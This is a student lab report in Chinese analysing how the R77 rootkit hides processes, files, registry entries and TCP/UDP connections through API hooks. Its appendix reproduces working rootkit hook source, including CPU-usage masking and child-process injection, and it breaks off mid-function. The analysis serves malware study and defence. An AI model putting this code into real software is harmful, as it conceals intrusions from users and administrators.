恶意代码分析与防治技术实验报告

Lab11-2

学院：网络空间安全学院

专业：信息安全、法学

学号：2113203

姓名：付政烨

班级：信安法班

摘要

本次实验旨在深入分析和理解 R77 Rootkit 的高级功能和技术实现，特别关注其在隐藏进程、文件、注册表项和网络连接方面的技术。R77 Rootkit 采用 API 钩子、信息筛选和动态配置等高级技术手段，实现对系统关键部分的隐蔽控制。实验中，R77 通过拦截如 NtQuerySystemInformation 和 NtQueryDirectoryFile 等系统函数，有效隐藏特定进程和文件。它还能够通过挂钩注册表 API 如 NtEnumerateValueKey，隐藏特定的注册表项和值。对于网络连接，R77 利用对网络相关 API 的控制，实现对特定 TCP 和 UDP 连接的隐藏。这些技术的高效隐蔽性，不仅增加了检测的难度，也突显了现代网络安全环境的复杂性。通过对 R77 的深入研究，我们可以更好地识别和防御类似的高级恶意软件，为网络安全领域的研究和实践贡献力量。实验结果表明，虽然 R77 能够有效逃避许多传统的安全检测，但同时也揭示了检测和防御策略需要不断更新和改进以应对新兴威胁的重要性

关键字：R77 Rootkit　系统隐藏技术;　代码分析

目录

一、 实验目的

本次实验的目的在于深入理解和分析 R77 Rootkit 的高级功能和技术实现，特别是其在隐藏进程、文件、注册表项及网络连接方面的技术。通过实验，我们旨在掌握这些隐藏技术的工作原理及其在现实世界安全环境中的潜在影响。此外，实验还旨在提高对恶意软件检测技术的理解，增强应对高级持续性威胁（APT）的能力。通过对 R77 的分析，我们可以更好地识别和防御类似的高级恶意软件，为网络安全领域的研究和实践贡献力量。

二、 实验原理

R77 Rootkit 通过高级的技术手段实现对进程、文件、注册表项和网络连接的隐藏，其原理主要基于 API 钩子、信息筛选和动态配置。

1. **隐藏进程和文件**:R77 利用基于前缀的识别和配置系统进行隐藏。通过钩子 API,如 `NtQuerySystemInformation`，R77 拦截系统调用，从而过滤掉带有特定前缀或符合特定条件的进程和文件，使其在系统枚举过程中不可见。
2. **隐藏注册表项和值**：R77 通过挂钩核心注册表 API，如 `NtEnumerateValueKey`，来控制注册表项和值的枚举过程。它通过识别并过滤掉具有特定前缀的注册表项和值，使其对于正常的注册表编辑工具不可见。
3. **隐藏网络连接**：R77 通过钩子处理网络相关的 API，并对返回的网络连接信息进行筛选，从而隐藏符合特定条件的连接。例如，它可以根据 IP 地址或端口号隐藏特定的 TCP 和 UDP 连接。

三、 实验过程

(一) 隐藏进程

1. 进程隐藏方法

(i) 基于前缀的隐藏

- **可执行文件名前缀**：源自以特定前缀开头的可执行文件的进程将自动被隐藏。这种基于前缀的方法为确定哪些进程应当隐藏提供了直接的方式。

(ii) 基于配置系统的隐藏

- **通过进程 ID 隐藏**：Rootkit 的配置系统允许指定单独的进程 ID 来隐藏特定进程，提供了针对特定进程进行隐藏的定制化方法。
- **通过进程名称隐藏**：同样，进程可以根据它们的名称被隐藏，这是通过在配置系统中指定这些名称来实现的。这种方法提供了额外的灵活性，允许隐藏不考虑其文件名的进程。
- **处理内存中的进程**：对于直接在内存中创建且无法更改文件名的进程，Rootkit 提供了通过它们的 ID 隐藏它们的选项。这对于没有磁盘存在或不能更改其名称的进程尤其相关。

2. 技术实现

1. **拦截系统函数**
   R77 rootkit 通过拦截系统级函数来实现隐藏进程的功能。一个关键的例子是对 `NtQuerySystemInformation` 函数的拦截。这个函数通常用于枚举正在运行的进程和检索 CPU 使用情况。

2. **修改函数行为**
   在 `NtQuerySystemInformation` 被调用时，R77 rootkit 介入并修改该函数的行为。具体来说，它会调整函数返回的进程列表，从中移除那些被配置为隐藏的进程。这意味着即使进程实际上在运行，它们也不会出现在通过此函数检索的进程列表中。通过这种方式，R77 rootkit 能够在不引起明显痕迹的情况下隐藏进程。对于大多数监控工具和系统管理工具来说，这些进程就像不存在一样。

3. **选择拦截的优势**
   选择拦截 `NtQuerySystemInformation` 而不是像 `CreateProcess` 这样的高级 API，是因为后者创建并启动进程是一体的，而且存在多个类似的高级 API。拦截多个类似功能的函数为了实现单一任务会是一个糟糕的设计选择。相比之下，拦截 `NtQuerySystemInformation` 可以更有效、更隐蔽地实现隐藏进程的目的。

3. 关键代码分析（代码见附录）

(i) HookedNtQuerySystemInformation 函数

- **功能**：拦截 `NtQuerySystemInformation` 函数，用于隐藏特定进程和调整 CPU 使用信息。
- **实现方式**：
  - 调用原始的 `NtQuerySystemInformation` 函数，获取系统信息。
  - 如果查询的类别是 `SystemProcessInformation`，则遍历进程信息列表。
  - 对于每个进程，检查其名称、ID 等是否符合隐藏条件（如特定前缀、进程 ID 或名称）。
  - 如果符合隐藏条件，从返回的列表中移除该进程，并累积其 CPU 使用时间。
  - 将累积的 CPU 使用时间添加到系统空闲进程，以隐藏真实的 CPU 使用情况。
  - 如果查询类别是关于 CPU 性能的信息,如 `SystemProcessorPerformanceInformation` 或 `SystemProcessorIdleCycleTimeInformation`，则相应调整 CPU 性能数据以隐藏被隐藏进程的 CPU 使用。
  - 代码示例：

```
        if (systemInformationClass == SystemProcessInformation)
        {
            // 隐藏特定进程并处理CPU使用数据
            ...
        }
```

(ii) HookedNtResumeThread 函数

- **功能**：拦截 `NtResumeThread` 函数，在子进程启动前进行注入。

- **实现方式**:
  - 获取调用线程的进程 ID。
  - 如果该 ID 不是当前进程的 ID，表明它是一个子进程。
  - 通过命名管道与 R77 服务建立连接，并发送子进程 ID。
  - 等待 R77 服务完成注入，然后继续执行原始的 `NtResumeThread` 函数。
  - 这个过程确保了在子进程继续执行前，R77 rootkit 已被注入。
  - 代码示例:

```
        if (processId != GetCurrentProcessId())
        {
            // 通过管道与R77服务通信，实现子进程注入
            ...
        }
```

(二) 隐藏文件

1. 文件隐藏方法

- **前缀隐藏**: R77 Rootkit 采用命名规则来隐藏文件和目录。任何以 $ 77 前缀开头的文件或目录名将自动被 Rootkit 隐藏。这适用于文件、目录、连接点以及命名管道。
- **配置系统**: 除了前缀隐藏，R77 还通过配置系统允许指定特定路径进行隐藏。该系统通过注册表子键 $ 77config \paths 进行访问，可以指定文件、目录、连接点或命名管道的完整路径以进行隐藏。

2. 技术实现

- **在枚举中移除隐藏实体**: R77 Rootkit 的隐藏机制确保了隐藏的实体在所有枚举过程中被移除。这意味着，在文件管理器或命令行工具执行的标准文件列表操作中，这些隐藏的文件、目录及其他实体不会被列出。
- **直接访问依然可能**: 尽管这些文件和目录在枚举中被隐藏，但仍可以通过确切的名称或路径直接访问它们。即使文件或目录被隐藏，当用户知道隐藏文件的确切文件名时，他们仍然可以直接访问这些文件或目录。值得注意的是，用于打开文件或进程的函数并未被 R77 Rootkit 的钩子拦截，因此尝试访问隐藏实体时不会返回“未找到”的错误。这种设计基于一个假设，即隐藏实体的名称或路径不太可能被准确猜测。

3. 关键代码分析（代码见附录）

(i)HookedNtQueryDirectoryFile 函数

- **目的**: 拦截 `NtQueryDirectoryFile` 系统调用，用于修改文件系统查询结果，隐藏特定文件和目录。
- **实现方式**:
  - 首先调用原始的 `NtQueryDirectoryFile` 函数，获取文件目录信息。
  - 判断调用结果是否成功，并检查查询的信息类别。

- 遍历返回的文件或目录信息结构体。
- 对于每个文件或目录，检查其名称是否符合隐藏条件（如特定前缀或路径匹配）。
- 如果符合隐藏条件，从返回的列表中移除该文件或目录的信息。
- 代码示例：

```
        if (NT_SUCCESS(status) && (fileInformationClass ==
            FileDirectoryInformation || ...))
        {
            // 遍历文件或目录信息，隐藏特定文件或目录
            ...
        }
```

(ii)HookedNtQueryDirectoryFileEx 函数

- **目的**：拦截 `NtQueryDirectoryFileEx` 系统调用，用于隐藏文件和目录。
- **实现方式**：
  - 调用原始的 `NtQueryDirectoryFileEx` 函数，获取文件目录信息。
  - 同样判断调用结果是否成功，并检查查询的信息类别。
  - 根据查询标志（`queryFlags`），处理单个条目或多个条目的返回情况。
  - 在遍历过程中，如果发现文件或目录符合隐藏条件，则进行相应的处理，以从结果中排除这些条目。
  - 代码示例：

```
        if (NT_SUCCESS(status) && (fileInformationClass ==
            FileDirectoryInformation || ...))
        {
            // 根据查询标志处理文件或目录信息
            ...
        }
```

(三) 隐藏注册表项和值

1. 注册表项和值隐藏方法

1. **特定前缀的使用**：
   - R77 通过识别带有特定前缀的注册表项和值来实现隐藏功能。这意味着，任何带有这个特定前缀的注册表项和值都将被 R77 隐藏，不会在常规的注册表编辑器中显示。

2. 技术实现

(i)API 挂钩

- **功能描述**：`NtEnumerateValueKey` 函数是 Windows API 的一部分，用于访问和枚举注册表中的值。当程序尝试列出某个注册表键下的所有值时，会调用此函数。

- **挂钩实现**：R77 通过挂钩 `NtEnumerateValueKey` 函数，可以拦截对注册表值的枚举调用。在挂钩逻辑中，R77 会检查每个枚举到的注册表值。如果这些值匹配 R77 设定的隐藏条件（如特定的前缀），R77 会从返回的列表中移除这些值，使其对正常的 API 调用者不可见。
- **隐藏效果**：通过这种方式，R77 能有效地隐藏特定的注册表值，即使是管理员权限的用户也无法通过标准的注册表编辑工具看到这些被隐藏的值。

(ii) 配置系统

- R77 的配置系统位于注册表中的 `HKEY_LOCAL_MACHINE\SOFTWARE\$77config`。这个键的访问控制列表（DACL）设置为允许所有用户完全访问，即使它位于 HKLM 中。当 R77 安装后，注册表编辑器会被 R77 注入，导致这个配置键对正常的注册表编辑器不可见。可以使用测试控制台（Test Console）来分离 R77，以便查看这个注册表键。
- R77 每 1000 毫秒读取一次这个配置，基于这些配置信息控制其行为。配置中包括隐藏进程 ID、进程名称、路径、服务名称、本地 TCP 端口、远程 TCP 端口、UDP 端口以及启动路径等信息。

3. 关键代码分析（代码见附录）

(i)HookedNtEnumerateKey 函数

- **目的**：拦截 `NtEnumerateKey` 系统调用，用于隐藏特定的注册表项。
- **实现方式**：
  - 调用原始的 `NtEnumerateKey` 函数，枚举注册表项。
  - 判断调用结果是否成功，并检查查询的信息类别。
  - 通过调整索引值来隐藏具有特定前缀的注册表项。对于每个枚举到的注册表项，检查其名称是否符合隐藏条件（如特定前缀）。
  - 如果符合隐藏条件，则不将此项计入新索引，从而在实际返回的列表中排除这些项。
  - 代码示例：

```
if (status == ERROR_SUCCESS && (keyInformationClass ==
    KeyBasicInformation || ...))
{
    // 遍历注册表项，隐藏特定项
    ...
}
```

(ii)HookedNtEnumerateValueKey 函数

- **目的**：拦截 `NtEnumerateValueKey` 系统调用，用于隐藏特定的注册表值。
- **实现方式**：
  - 调用原始的 `NtEnumerateValueKey` 函数，枚举注册表值。
  - 同样判断调用结果是否成功，并检查查询的信息类别。

- 通过调整索引值来隐藏具有特定前缀的注册表值。对于每个枚举到的注册表值，检查其名称是否符合隐藏条件。
- 如果符合隐藏条件，则不将此值计入新索引，从而在实际返回的列表中排除这些值。
- 代码示例：

```
if (status == ERROR_SUCCESS && (keyValueInformationClass ==
    KeyValueBasicInformation || ...))
{
    // 遍历注册表值，隐藏特定值
    ...
}
```

(四) 隐藏网络

1. 网络隐藏方法

1. **基于进程的隐藏**：
   - 如果一个进程通过前缀隐藏，与该进程相关的 TCP 和 UDP 连接也将被隐藏。这意味着，如果一个进程的名称以特定的前缀（如文档中提到的 $77）开始，那么这个进程的所有网络连接都将对系统工具（如网络监控软件）不可见。
   - 类似地，如果一个进程是通过其 ID 或名称在配置系统中被指定为隐藏的，那么这个进程的所有网络连接也会被隐藏。
2. **基于配置的隐藏**：
   - 对于 TCP 连接，如果配置系统中指定了某个 TCP 或 TCPv6 连接的本地或远程端口，那么所有匹配这些端口的 TCP 连接将被隐藏。这意味着，即使相关进程没有被隐藏，只要连接使用了指定的端口，这些连接也会被系统工具忽视。
   - 对于 UDP 连接，由于 UDP 连接不具有远程端口的概念，因此只根据配置系统中指定的 UDP 或 UDPv6 端口来隐藏连接。同样的，这些隐藏操作独立于相关进程是否被隐藏。

2. 技术实现

1. **网络 API 钩子**：
   - R77 通过对 Windows 网络 API 进行钩子处理，实现了对网络活动的控制。这些 API 包括那些用于检索系统网络连接信息的函数。
   - 当这些 API 被调用时，R77 首先接管这些调用，并在返回给原始调用者之前修改返回的数据。这种方法可以拦截和篡改关于 TCP 和 UDP 连接的信息。
2. **信息筛选**：
   - R77 在返回网络连接信息之前对其进行筛选。它会检查每个网络连接，如果连接符合预先定义的隐藏条件（如特定端口或 IP 地址），则从返回数据中移除该连接的信息。
   - 这一筛选过程对使用像 `netstat` 这样的系统工具查询网络状态的用户完全透明。
3. **隐藏特定连接（Hiding Specific Connections）**：

- R77 可以被配置为隐藏来自特定 IP 地址或使用特定端口的连接。这使得攻击者可以针对特定的网络活动进行隐藏，而不影响系统的其他正常操作。
- 这是通过修改网络 API 调用返回的数据来实现的。例如，如果某个连接被标记为隐藏，R77 会在 API 返回结果之前，将该连接的信息从数据中去除。

4. **动态配置**:
   - R77 的配置系统允许动态添加或删除要隐藏的连接。攻击者可以根据需要实时更改配置，而无需重启系统或 Rootkit 本身。
   - 这种灵活性使 R77 能够适应不断变化的环境和隐藏需求。
5. **避免检测**:
   - R77 采用了高级的逃避技术来避免被安全软件检测到。例如，它通过对网络 API 的钩子处理绕过了安全软件的检测机制。
   - 这种方法确保即使在安全工具运行时，R77 隐藏的网络连接也不会被发现。

3. 关键代码分析（代码见附录）

(i)NtDeviceIoControlFile 函数

- **目的**: 拦截 `NtDeviceIoControlFile` 系统调用，用于修改网络连接查询结果，隐藏特定的 TCP 和 UDP 连接。
- **实现方式**:
  - 首先，调用原始的 `NtDeviceIoControlFile` 函数获取网络设备的信息。
  - 如果调用成功，并且 IO 控制码（`ioControlCode`）是 `IOCTL_NSI_GETALLPARAM`，则进行下一步处理。
  - 确认设备名是否为“\Device\Nsi”，这是网络状态信息相关的设备。
  - 处理网络条目:
    - 根据网络状态信息参数（`NT_NSI_PARAM`），确定处理 TCP 或 UDP 连接。
    - 遍历每个网络连接条目，如 `NT_NSI_TCP_ENTRY` 或 `NT_NSI_UDP_ENTRY`。
    - 对于每个条目，检查其是否符合隐藏条件，这可能包括端口号、进程 ID 或进程名称的匹配。
    - 如果条目满足隐藏条件，则从结果中移除该条目。
  - 隐藏网络连接:
    - 对于被隐藏的条目，调整后续条目的位置，并更新总条目计数。
  - 代码示例:

```
        if (ioControlCode == IOCTL_NSI_GETALLPARAM && outputBuffer &&
            outputBufferLength == sizeof(NT_NSI_PARAM))
        {
            // 检查设备类型，并处理TCP或UDP连接
            ...
            if (hidden)
            {
```

```
8                   // 隐藏特定的TCP或UDP连接
9                   ...
10              }
11          }
```

四、 实验心得与体会

通过对 R77 Rootkit 的分析和实验，我对恶意软件的隐藏技术有了更深入的理解。R77 展示了恶意软件作者如何利用高级技术，如 API 钩子和动态配置，来隐藏其活动并逃避安全检测。这种技术的复杂性和高效性令人印象深刻，同时也提醒我们在网络安全防御上必须保持警惕。实验中，我特别注意到了 R77 在隐藏网络连接时的策略。通过对网络 API 的精密控制，R77 能够在不影响系统正常功能的前提下，有效地隐藏其恶意活动。这种隐蔽性不仅增加了检测的难度，也突显了现代网络安全环境的复杂性。此外，实验也加深了我对安全工具和方法的认识。虽然 R77 能够有效地逃避许多传统的安全检测，但它也揭示了检测和防御策略需要不断更新和改进以应对新兴威胁的重要性。

参考文献

[1] SM-D.Practical Malware Analysis[J].Network Security, 2012, 2012(12):4-4.DOI:10.1016/S1353-4858(12)70109-5.

附录

```
static NTSTATUS NTAPI HookedNtQuerySystemInformation(SYSTEM_INFORMATION_CLASS
systemInformationClass, LPVOID systemInformation, ULONG systemInformationLength,
PULONG returnLength)
{
    // returnLength is important, but it may be NULL, so wrap this value.
    ULONG newReturnLength;
    NTSTATUS status = OriginalNtQuerySystemInformation(systemInformationClass,
systemInformation, systemInformationLength, &newReturnLength);
    if (returnLength) *returnLength = newReturnLength;

    if (NT_SUCCESS(status))
    {
        // Hide processes
        if (systemInformationClass == SystemProcessInformation)
        {
            // Accumulate CPU usage of hidden processes.
            LARGE_INTEGER hiddenKernelTime = { 0 };
            LARGE_INTEGER hiddenUserTime = { 0 };
            LONGLONG hiddenCycleTime = 0;

            for (PNT_SYSTEM_PROCESS_INFORMATION current =
(PNT_SYSTEM_PROCESS_INFORMATION)systemInformation, previous = NULL; current;)
            {
                if (HasPrefixU(current->ImageName) || IsProcessIdHidden((DWORD)
(DWORD_PTR)current->ProcessId) || IsProcessNameHiddenU(current->ImageName))
                {
                    hiddenKernelTime.QuadPart += current->KernelTime.QuadPart;
                    hiddenUserTime.QuadPart += current->UserTime.QuadPart;
                    hiddenCycleTime += current->CycleTime;

                    if (previous)
                    {
                        if (current->NextEntryOffset) previous->NextEntryOffset +=
current->NextEntryOffset;
                        else previous->NextEntryOffset = 0;
                    }
                    else
                    {
                        if (current->NextEntryOffset) systemInformation =
(LPBYTE)systemInformation + current->NextEntryOffset;
                        else systemInformation = NULL;
                    }
                }
                else
                {
                    previous = current;
                }
```

```
                if (current->NextEntryOffset) current =
(PNT_SYSTEM_PROCESS_INFORMATION)((LPBYTE)current + current->NextEntryOffset);
                else current = NULL;
            }

            // Add CPU usage of hidden processes to the System Idle Process.
            for (PNT_SYSTEM_PROCESS_INFORMATION current =
(PNT_SYSTEM_PROCESS_INFORMATION)systemInformation, previous = NULL; current;)
            {
                if (current->ProcessId == 0)
                {
                    current->KernelTime.QuadPart += hiddenKernelTime.QuadPart;
                    current->UserTime.QuadPart += hiddenUserTime.QuadPart;
                    current->CycleTime += hiddenCycleTime;
                    break;
                }

                previous = current;

                if (current->NextEntryOffset) current =
(PNT_SYSTEM_PROCESS_INFORMATION)((LPBYTE)current + current->NextEntryOffset);
                else current = NULL;
            }
        }
        // Hide CPU usage
        else if (systemInformationClass == SystemProcessorPerformanceInformation)
        {
            // ProcessHacker graph per CPU
            LARGE_INTEGER hiddenKernelTime = { 0 };
            LARGE_INTEGER hiddenUserTime = { 0 };
            if (GetProcessHiddenTimes(&hiddenKernelTime, &hiddenUserTime, NULL))
            {
                PNT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION
performanceInformation =
(PNT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION)systemInformation;
                ULONG numberOfProcessors = newReturnLength /
sizeof(NT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION);

                for (ULONG i = 0; i < numberOfProcessors; i++)
                {
                    //TODO: This works, but it needs to be on a per-cpu basis
instead of x / numberOfProcessors
                    performanceInformation[i].KernelTime.QuadPart +=
hiddenUserTime.QuadPart / numberOfProcessors;
                    performanceInformation[i].UserTime.QuadPart -=
hiddenUserTime.QuadPart / numberOfProcessors;
                    performanceInformation[i].IdleTime.QuadPart +=
(hiddenKernelTime.QuadPart + hiddenUserTime.QuadPart) / numberOfProcessors;
                }
            }
        }
        // Hide CPU usage
        else if (systemInformationClass ==
SystemProcessorIdleCycleTimeInformation)
```

```
        {
            // ProcessHacker graph for all CPU's
            LONGLONG hiddenCycleTime = 0;
            if (GetProcessHiddenTimes(NULL, NULL, &hiddenCycleTime))
            {
                PNT_SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION
idleCycleTimeInformation =
(PNT_SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION)systemInformation;
                ULONG numberOfProcessors = newReturnLength /
sizeof(NT_SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION);

                for (ULONG i = 0; i < numberOfProcessors; i++)
                {
                    idleCycleTimeInformation[i].CycleTime += hiddenCycleTime /
numberOfProcessors;
                }
            }
        }
    }

    return status;
}

static NTSTATUS NTAPI HookedNtResumeThread(HANDLE thread, PULONG suspendCount)
{
    // Child process hooking:
    // When a process is created, its parent process calls NtResumeThread to start
the new process after process creation is completed.
    // At this point, the process is suspended and should be injected. After
injection is completed, NtResumeThread should be called.
    // To inject the process, a connection to the r77 service is performed through
a named pipe.
    // Because a 32-bit process can create a 64-bit child process, injection
cannot be performed here.

    DWORD processId = GetProcessIdOfThread(thread);
    if (processId != GetCurrentProcessId()) // If NtResumeThread is called on this
process, it is not a child process
    {
        // Call the r77 service and pass the process ID.
        HANDLE pipe = CreateFileW(CHILD_PROCESS_PIPE_NAME, GENERIC_READ |
GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
        if (pipe != INVALID_HANDLE_VALUE)
        {
            // Send the process ID to the r77 service.
            DWORD bytesWritten;
            WriteFile(pipe, &processId, sizeof(DWORD), &bytesWritten, NULL);

            // Wait for the response. NtResumeThread should be called after r77 is
injected.
            BYTE returnValue;
            DWORD bytesRead;
            ReadFile(pipe, &returnValue, sizeof(BYTE), &bytesRead, NULL);
```

```
            CloseHandle(pipe);
        }
    }

    // This function returns, *after* injection is completed.
    return OriginalNtResumeThread(thread, suspendCount);
}

static NTSTATUS NTAPI HookedNtQueryDirectoryFile(HANDLE fileHandle, HANDLE event,
PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock,
LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass,
BOOLEAN returnSingleEntry, PUNICODE_STRING fileName, BOOLEAN restartScan)
{
    NTSTATUS status = OriginalNtQueryDirectoryFile(fileHandle, event, apcRoutine,
apcContext, ioStatusBlock, fileInformation, length, fileInformationClass,
returnSingleEntry, fileName, restartScan);

    // Hide files, directories and named pipes
    if (NT_SUCCESS(status) && (fileInformationClass == FileDirectoryInformation ||
fileInformationClass == FileFullDirectoryInformation || fileInformationClass ==
FileIdFullDirectoryInformation || fileInformationClass ==
FileBothDirectoryInformation || fileInformationClass ==
FileIdBothDirectoryInformation || fileInformationClass == FileNamesInformation))
    {
        LPVOID current = fileInformation;
        LPVOID previous = NULL;
        ULONG nextEntryOffset;

        WCHAR fileDirectoryPath[MAX_PATH + 1] = { 0 };
        WCHAR fileFileName[MAX_PATH + 1] = { 0 };
        WCHAR fileFullPath[MAX_PATH + 1] = { 0 };

        if (GetFileType(fileHandle) == FILE_TYPE_PIPE) StrCpyW(fileDirectoryPath,
L"\\\\.\\pipe\\");
        else GetPathFromHandle(fileHandle, fileDirectoryPath, MAX_PATH);

        do
        {
            nextEntryOffset = FileInformationGetNextEntryOffset(current,
fileInformationClass);

            if (HasPrefix(FileInformationGetName(current, fileInformationClass,
fileFileName)) || IsPathHidden(CreatePath(fileFullPath, fileDirectoryPath,
FileInformationGetName(current, fileInformationClass, fileFileName))))
            {
                if (nextEntryOffset)
                {
                    i_memcpy
                    (
                        current,
                        (LPBYTE)current + nextEntryOffset,
                        (ULONG)(length - ((ULONGLONG)current -
(ULONGLONG)fileInformation) - nextEntryOffset)
                    );
```

```
                    continue;
                }
                else
                {
                    if (current == fileInformation) status = STATUS_NO_MORE_FILES;
                    else FileInformationSetNextEntryOffset(previous,
fileInformationClass, 0);
                    break;
                }
            }

            previous = current;
            current = (LPBYTE)current + nextEntryOffset;
        }
        while (nextEntryOffset);
    }

    return status;
}

static NTSTATUS NTAPI HookedNtQueryDirectoryFileEx(HANDLE fileHandle, HANDLE
event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK
ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS
fileInformationClass, ULONG queryFlags, PUNICODE_STRING fileName)
{
    NTSTATUS status = OriginalNtQueryDirectoryFileEx(fileHandle, event,
apcRoutine, apcContext, ioStatusBlock, fileInformation, length,
fileInformationClass, queryFlags, fileName);

    // Hide files, directories and named pipes
    // Some applications (e.g. cmd.exe) use NtQueryDirectoryFileEx instead of
NtQueryDirectoryFile.
    if (NT_SUCCESS(status) && (fileInformationClass == FileDirectoryInformation ||
fileInformationClass == FileFullDirectoryInformation || fileInformationClass ==
FileIdFullDirectoryInformation || fileInformationClass ==
FileBothDirectoryInformation || fileInformationClass ==
FileIdBothDirectoryInformation || fileInformationClass == FileNamesInformation))
    {
        WCHAR fileDirectoryPath[MAX_PATH + 1] = { 0 };
        WCHAR fileFileName[MAX_PATH + 1] = { 0 };
        WCHAR fileFullPath[MAX_PATH + 1] = { 0 };

        if (GetFileType(fileHandle) == FILE_TYPE_PIPE) StrCpyW(fileDirectoryPath,
L"\\\\.\\pipe\\");
        else GetPathFromHandle(fileHandle, fileDirectoryPath, MAX_PATH);

        if (queryFlags & SL_RETURN_SINGLE_ENTRY)
        {
            // When returning a single entry, skip until the first item is found
that is not hidden.
            for (BOOL skip = HasPrefix(FileInformationGetName(fileInformation,
fileInformationClass, fileFileName)) || IsPathHidden(CreatePath(fileFullPath,
fileDirectoryPath, FileInformationGetName(fileInformation, fileInformationClass,
fileFileName))); skip; skip = HasPrefix(FileInformationGetName(fileInformation,
```

```
fileInformationClass, fileFileName)) || IsPathHidden(CreatePath(fileFullPath,
fileDirectoryPath, FileInformationGetName(fileInformation, fileInformationClass,
fileFileName))))
            {
                status = OriginalNtQueryDirectoryFileEx(fileHandle, event,
apcRoutine, apcContext, ioStatusBlock, fileInformation, length,
fileInformationClass, queryFlags, fileName);
                if (status) break;
            }
        }
        else
        {
            LPVOID current = fileInformation;
            LPVOID previous = NULL;
            ULONG nextEntryOffset;

            do
            {
                nextEntryOffset = FileInformationGetNextEntryOffset(current,
fileInformationClass);

                if (HasPrefix(FileInformationGetName(current,
fileInformationClass, fileFileName)) || IsPathHidden(CreatePath(fileFullPath,
fileDirectoryPath, FileInformationGetName(current, fileInformationClass,
fileFileName))))
                {
                    if (nextEntryOffset)
                    {
                        i_memcpy
                        (
                            current,
                            (LPBYTE)current + nextEntryOffset,
                            (ULONG)(length - ((ULONGLONG)current -
(ULONGLONG)fileInformation) - nextEntryOffset)
                        );
                        continue;
                    }
                    else
                    {
                        if (current == fileInformation) status =
STATUS_NO_MORE_FILES;
                        else FileInformationSetNextEntryOffset(previous,
fileInformationClass, 0);
                        break;
                    }
                }

                previous = current;
                current = (LPBYTE)current + nextEntryOffset;
            }
            while (nextEntryOffset);
        }
    }
```

```
    return status;
}

static NTSTATUS NTAPI HookedNtEnumerateKey(HANDLE key, ULONG index,
NT_KEY_INFORMATION_CLASS keyInformationClass, LPVOID keyInformation, ULONG
keyInformationLength, PULONG resultLength)
{
    NTSTATUS status = OriginalNtEnumerateKey(key, index, keyInformationClass,
keyInformation, keyInformationLength, resultLength);

    // Implement hiding of registry keys by correcting the index in
NtEnumerateKey.
    if (status == ERROR_SUCCESS && (keyInformationClass == KeyBasicInformation ||
keyInformationClass == KeyNameInformation))
    {
        for (ULONG i = 0, newIndex = 0; newIndex <= index && status ==
ERROR_SUCCESS; i++)
        {
            status = OriginalNtEnumerateKey(key, i, keyInformationClass,
keyInformation, keyInformationLength, resultLength);

            if (!HasPrefix(KeyInformationGetName(keyInformation,
keyInformationClass)))
            {
                newIndex++;
            }
        }
    }

    return status;
}

static NTSTATUS NTAPI HookedNtEnumerateValueKey(HANDLE key, ULONG index,
NT_KEY_VALUE_INFORMATION_CLASS keyValueInformationClass, LPVOID
keyValueInformation, ULONG keyValueInformationLength, PULONG resultLength)
{
    NTSTATUS status = OriginalNtEnumerateValueKey(key, index,
keyValueInformationClass, keyValueInformation, keyValueInformationLength,
resultLength);

    // Implement hiding of registry values by correcting the index in
NtEnumerateValueKey.
    if (status == ERROR_SUCCESS && (keyValueInformationClass ==
KeyValueBasicInformation || keyValueInformationClass == KeyValueFullInformation))
    {
        for (ULONG i = 0, newIndex = 0; newIndex <= index && status ==
ERROR_SUCCESS; i++)
        {
            status = OriginalNtEnumerateValueKey(key, i, keyValueInformationClass,
keyValueInformation, keyValueInformationLength, resultLength);

            if (!HasPrefix(KeyValueInformationGetName(keyValueInformation,
keyValueInformationClass)))
            {
```

```
                newIndex++;
            }
        }
    }

    return status;
}

static NTSTATUS NTAPI HookedNtDeviceIoControlFile(HANDLE fileHandle, HANDLE event,
PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock,
ULONG ioControlCode, LPVOID inputBuffer, ULONG inputBufferLength, LPVOID
outputBuffer, ULONG outputBufferLength)
{
    NTSTATUS status = OriginalNtDeviceIoControlFile(fileHandle, event, apcRoutine,
apcContext, ioStatusBlock, ioControlCode, inputBuffer, inputBufferLength,
outputBuffer, outputBufferLength);

    if (NT_SUCCESS(status))
    {
        // Hide TCP and UDP entries
        if (ioControlCode == IOCTL_NSI_GETALLPARAM && outputBuffer &&
outputBufferLength == sizeof(NT_NSI_PARAM))
        {
            // Check, if the device is "\Device\Nsi"
            BYTE deviceName[500];
            if (NT_SUCCESS(R77_NtQueryObject(fileHandle, ObjectNameInformation,
deviceName, 500, NULL)) &&
                !StrCmpNIW(DEVICE_NSI, ((PUNICODE_STRING)deviceName)->Buffer,
sizeof(DEVICE_NSI) / sizeof(WCHAR)))
            {
                PNT_NSI_PARAM nsiParam = (PNT_NSI_PARAM)outputBuffer;
                if (nsiParam->Entries && (nsiParam->Type == NsiTcp || nsiParam-
>Type == NsiUdp))
                {
                    WCHAR processName[MAX_PATH + 1];

                    for (DWORD i = 0; i < nsiParam->Count; i++)
                    {
                        PNT_NSI_TCP_ENTRY tcpEntry = (PNT_NSI_TCP_ENTRY)
((LPBYTE)nsiParam->Entries + i * nsiParam->EntrySize);
                        PNT_NSI_UDP_ENTRY udpEntry = (PNT_NSI_UDP_ENTRY)
((LPBYTE)nsiParam->Entries + i * nsiParam->EntrySize);

                        // The status and process table may be NULL.
                        PNT_NSI_PROCESS_ENTRY processEntry = nsiParam-
>ProcessEntries ? (PNT_NSI_PROCESS_ENTRY)((LPBYTE)nsiParam->ProcessEntries + i *
nsiParam->ProcessEntrySize) : NULL;
                        PNT_NSI_STATUS_ENTRY statusEntry = nsiParam->StatusEntries
? (PNT_NSI_STATUS_ENTRY)((LPBYTE)nsiParam->StatusEntries + i * nsiParam-
>StatusEntrySize) : NULL;

                        processName[0] = L'\0';

                        BOOL hidden = FALSE;
```

```
                        if (nsiParam->Type == NsiTcp)
                        {
                            if (processEntry) GetProcessFileName(processEntry-
